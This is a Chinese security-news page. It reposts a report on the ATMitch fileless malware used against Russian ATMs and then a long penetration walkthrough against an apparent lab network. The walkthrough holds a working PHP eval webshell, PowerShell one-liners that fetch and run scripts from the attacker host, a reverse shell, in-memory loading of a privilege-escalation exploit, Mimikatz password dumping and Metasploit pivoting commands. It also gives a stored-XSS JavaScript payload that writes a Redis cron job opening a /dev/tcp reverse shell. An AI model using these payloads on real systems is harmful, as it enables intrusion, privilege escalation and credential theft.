微慑信息网

“无文件攻击”威力初显:仅需一夜轻松窃走俄罗斯 ATM 80 万美元

据卡巴斯基安全实验室消息,黑客通过新型恶意软件 “ATMitch” 采用“无文件攻击”方式,一夜之间成功劫持俄罗斯 8 台 ATM 机窃走 80 万美元。

这起网络劫持事件成功引起了安全专家的注意,他们在分析闭路电视录像时发现一名男子至 ATM 机旁并未与机器交互即可获取现金。据悉,受影响银行的安全团队并未发现任何恶意软件入侵迹象,唯有一家目标银行表示曾在 ATM 中发现两份入侵日志:

“Take the Money Bitch!”
“Dispense Success.”

卡巴斯基 2017 年 2 月就 “ATMitch” 恶意软件发布分析报告表示,黑客曾利用恶意软件 ATMitch 攻击 140 家机构,其中包括银行、电信公司与 40 余家政府单位。

2017041020

银行安全团队表示,他们不仅发现 Microsoft 域控制器( DC )的物理内存中存在其代码副本,还发现黑客将恶意代码直接注入受感染内存中与恶意软件一同在 RAM 系统中运行。目前卡巴斯基安全专家已将该此类恶意软件标记为 MEM:Trojan.Win32.Cometer 与 MEM:Trojan.Win32.Metasploit。

近期,在圣马丁举行的卡巴斯基安全分析高峰会期间,安全专家 Sergey Golovanov 和 Igor Soumenkov  提供了两家俄罗斯银行 ATM 机被黑客攻击的进一步调查。安全专家表示,该恶意软件首次在俄罗斯和哈萨克斯坦被发现。攻击者通过 SSH 隧道连接 ATM 机、安装恶意代码,并指示 ATM 机分配现金。由于恶意软件 ATMitch 利用机器现有的合法工具远程发送命令以分配资金,所以只需几秒即可快速运行,致使清空 ATM 机而不留痕迹。

2017041021

安全专家强调,为避免触发警报,攻击者在 ATM 上钻出高尔夫球大小的洞孔,通过物理方式访问 ATM 机面板获取钞票。

研究人员提醒设备制造商与银行,黑客已横跨俄罗斯和欧洲银行对其采取 “ATM 电钻攻击”。目前不能确定攻击 ATM 机背后的具体犯罪团伙,但他们注意到攻击使用的源代码中包含俄语内容。此外,卡巴斯基发现该黑客组织使用的技术方法与网络犯罪团伙 Carbanak 和 GCMAN 存在相似之处。

原作者:Pierluigi Paganini

 

from hackernews.cc.thanks for it.

拓展阅读(点评/知识):

“无文件”攻击方式渗透实验:

来源:http://www.cnblogs.com/h2zZhou/p/6560045.html

拓扑设计

 

拓扑介绍

其中192.168.1.0/24模拟的是公网的环境

172.21.132.0/24模拟的是企业内网的环境

边界web服务器双网卡(公网的:192.168.1.110,和内网的172.21.132.110),而且为了最基本的安全保障,web边界服务器设置了防火墙,此防火墙对外网只开放80,81,443端口,对内网开放所有端口,上面还装有杀毒软件。

内网还布置若干台web服务器,一台旁路告警设备(ips),他们都可以连接到外网,但是外网访问不到内部的任何web服务器

其中web服务器(linux)(172.21.132.113)前面放置防火墙,不可以被内网的其他web服务器访问到,但是它可以访问到内网的其他服务器,并且能够连接到外网。这套环境里面的192.168.1.108是黑客的kali攻击机,192.168.1.212是黑客的windows攻击机

科普下nishang和PowerSploit

1、Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本

2、PowerSploit是又一款Post Exploitation 相关工具,Post Exploitation是老外渗透测试标准里面的东西,就是获取shell之后干的一些事情。PowerSploit 其实就是一些powershell 脚本,包括Inject-Dll(注入dll 到指定进程 )、Inject-Shellcode(注入shellcode到执行进程)、 Encrypt- Script(文本或脚本加密)、Get-GPPPassword(通过groups.xml 获取明文密码)、 Invoke- ReverseDnsLookup(扫描DNS PTR记录)

渗透开始

 

首先边界web服务器上fastcgi配置错误,导致服务器被getshell 因为网上的菜刀好多都有后门,所以我用开源的CKnife(介绍地址:跨平台版中国菜刀Cknife发布项目地址: Cknife的github) 因为服务器上有杀毒软件所以要把一句话木马做一下转换绕过思路参考:打狗棒法之进阶篇:Cknife修改配置法秒过安全狗

 

我用的服务器端木马内容

<?php    

eval('$ms509 ='.$_POST['Cknife']);

eval($ms509);

?>

 

替换Config.ini的PHP_MAKE为

 

base64_decode($_POST['action']);

 

连接方式

拿到webshell之后,首先用systeminfo来查看系统信息

 

首先可以看到这个是一台win2008 r2 64位系统,而且没有打任何系统补丁所以我可以从上面反弹一个powershell出来进行进一步的渗透首先把nishang git clone到自己的web目录下面,然后在shell目录下找到Invoke-PowerShellTcp.ps1,我为了方便把Invoke-PowerShellTcp.ps1复制到了web的根目录,我先在自己的机子上用nc监听8888端口,然后执行

powershell IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.108/Invoke-PowerShellTcp.ps1‘);Invoke-PowerShellTcp-Reverse -IPAddress 192.168.1.108 -port 8888

在nc上得到一个反弹出来的powershell

查看权限发现权限比较低只是:iis apppool所以我需要提高一下权限一般的做法是要上传一个内核溢出的exp,一般都是上传一个exe,但是我在这里选择直接从远处加载一个exe到受害主机内存中,并且让他执行起来,详细的我会在《有趣的渗透(番外篇)》中详细的说明,我先把https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1下载到我的web目录下面,再把用到的提权exp(ms1564.exe)放到web根目录下面然后在反弹的shell里面运行

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl
 http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR

这样再执行whoami看权限的话就可以看到是 nt authority。

 

(Ps:这里面有个坑,这个ms15051的exp是随便从一个网上下载下来的,没有经过改造,所以当执行的指令参数有空格的时候,他就没有任何反应,也没有任何回显,后来经过我不断的尝试,执行cmd的时候就可以把shell的权限提了,很不错,但是如果你执行powershell这个指令的话,那么这个反弹的shell就会假死)这个时候在本机搜集一下信息:首先用mimikatz来脱出登陆过得密码:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-Mimikatz.ps1');Invoke-Mimikatz

查看arp的列表

 

 

看到好多机子集中在172.21.132.100-120这个网段我调用poershell扫一下

 

端口扫描的脚本从这里下载:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

 

扫描:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-PortScan.ps1');Invoke-PortScan-StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort

这个时候我用利用powershell反弹一个meterpreter 利用powersploit框架,由于一些奇怪的原因,作者把框架中支持msf的部分去掉了,但是经过的我的查找,在作者提交的历史记录里面找到了最后一版支持msf的部分:地址是:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1

如果git clone新版本的PowerSploit你要用老版本的CodeExecution/Invoke–Shellcode.ps1替换掉新版本的文件使用方法还是先把脚本下载到黑客自己的web目录下,我为了方便,我写了一个调用脚本放在web目录下(1.ps1)

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1')
Invoke-Shellcode -payloadwindows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force

先把msf打开,然后设置payload为windows/meterpreter/reverse_https,并且监听在4444端口:

msf > useexploit/multi/handler
msf exploit(handler) > set payloadwindows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > run

然后在powershell反弹的shell中调用

IEX (New-ObjectNet.WebClient).DownloadString(‘http://192.168.1.108/1.ps1‘)

成功拿到meterpreter,但是注意:这个meterpreter执行shell是不能得到交互式的cmd ,因为刚才用exp把反弹的powershell变成了system的权限,所以再反弹出来的meterpreter也是system权限

这个时候可以 meterpreter查看路由: runget_local_subnets

meterpreter 寻找putty保存的信息 run enum_putty

meterpreter 寻找ie保存的密码 run post/windows/gather/enum_ie

本地信息搜集差不多了,可以把meterpreter放入后台: background

然后添加路由(这样才能进行内网的扫描): route add 172.21.132.0 255.255.255.0 1 route add的第一个参数是地址,第二个参数地址是掩码,第三个参数是sessis的id

进行内网的主机扫描:利用smb进行主机识别: use auxiliary/scanner/smb/smb_version

利用刚才找到的管理员密码在内网里面碰撞一下,看看多少主机用的是同样的密码 用的是:use auxiliary/scanner/smb/smb_login

 

可以看到内网里面的大部分机子都是用的一个密码

 

下面我要用socks代理进入到内网里面获取一些信息

 

有三种选择:首先msf提供了一种socks4a的代理,浏览器可以用这个代理进入到内网,但是burp不能用socks4a的代理第二:可以用reGeorgSocksProxy.py的socks5进入到内网里面第三:可以用特殊处理过得xsocks.exe,通过powershell远程加载到内存里面运行之后得到socks5的代理

 

因为这是60字节webshell的杂技,所以我用第三种方法进入到内网:

 

首先在黑客的web里面放入特殊处理的xsocks.exe,然后用poweshell加载

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR

然后burp这样设置:

 

火狐中这样设置

 

就可以实现这样的效果了

看一下效果:

把流量拦截下来repeater也可以

* 普及一下redis未授权的知识 详细的文章可以看redis未授权访问总结 而redis的csrf漏洞的产生原因是:就是当向redis发送无效指令时,redis自身协议不会终止tcp链接。同时redis只会执行body里的有效指令,而不会关心http header里的内容。

* 科普一下csrf的攻击:CSRF:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF,简单来说攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账……造成的问题包括:个人隐私泄露以及财产安全。常见的经典csrf的案例是通过csrf修改你家路由器的dns配置,从而达到非法获利的目的,可以参考文章TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

 

经过内网探测,发现172.21.132.113开放6379端口,但是通过代理无法连接到后来发现在172.21.132.117:83/xss/add.php发现一个留言板

 

 

所以根据这个文章:Client-SideRedis Attack Proof of Concept 我做了一个可以利用redis未授权访问得到反弹shell的js:

      var cmd = new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
     cmd.send('flushallrn');
     
      var cmd =new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
     cmd.send('eval '' + 'redis.call("set","1","nn*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.1.108/5566 0>&1nn");redis.call("config", "set", "dir","/var/spool/cron/"); redis.call("config","set", "dbfilename", "root");' + '' 0' +"rn");

      var cmd =new XMLHttpRequest();
     cmd.open("POST", "http://127.0.0.1:6379");
      cmd.send('savern');

 

把他放在自己的web目录下,然后在留言板写入:

 

<script src=http://192.168.1.108/redis.js></script>

在本机监听用nc监听5566端口,只要有装redis 的那台机子的管理员查看留言板的话就会弹出一个shell给我的主机

可以看到这个已经反弹的处理的shell是root权限

 

至此,整个内网已经被完全渗透

 

最后的tips

 

我在上面介绍用:poweshell加载外部的exe进入内存执行,从而不在受害主机里面留下任何痕迹,而且也可以绕过国内主流杀软的查杀这个想法的实现根据这个文章:PowerPwning:Post-Exploiting ByOverpowering PowerShell还有 Powershelltricks::Code Execution & Process Injection

要是实现这个前提条件是:

1.你要有源码

2.源码必须是c++编写,c#编写的一律崩溃

3.编译的时候建议用vs2010+winxp编译

4.在win上不能用gcc去编译

5.编译采用/MT 或者/MTd

 

6.如果要传递参数的话把int main(int argc char **argv)改成

int main()
{
    LPWSTR*szArglist;
    int nArgs;
    int i;
    szArglist =CommandLineToArgvW(GetCommandLineW(), &nArgs);
    if( NULL ==szArglist )
    {
       wprintf(L"CommandLineToArgvW failedn");
        return0;
    }
   
}
……………………

 

7.代码中不能有写文件的操作

下面是集中渗透软件编译过程

我以提权工具ms15-051的代码做实验(代码的源码),添加传递参数的代码后 里面有几个字符转换的问题,可以自己解决一下,本人 生成好了以后看看效果 首先把生成好的ms15-051.exe上传到自己的web服务器。

先下载到本地看看什么效果

然后用编译好的ms15-051.exe用powershell加载一下

本文标题:“无文件攻击”威力初显:仅需一夜轻松窃走俄罗斯 ATM 80 万美元
本文链接:
(转载请附上本文链接)
http://vulsee.com/archives/vulsee_2017/0410_937.html
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » “无文件攻击”威力初显:仅需一夜轻松窃走俄罗斯 ATM 80 万美元
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

微慑信息网 专注工匠精神

访问我们联系我们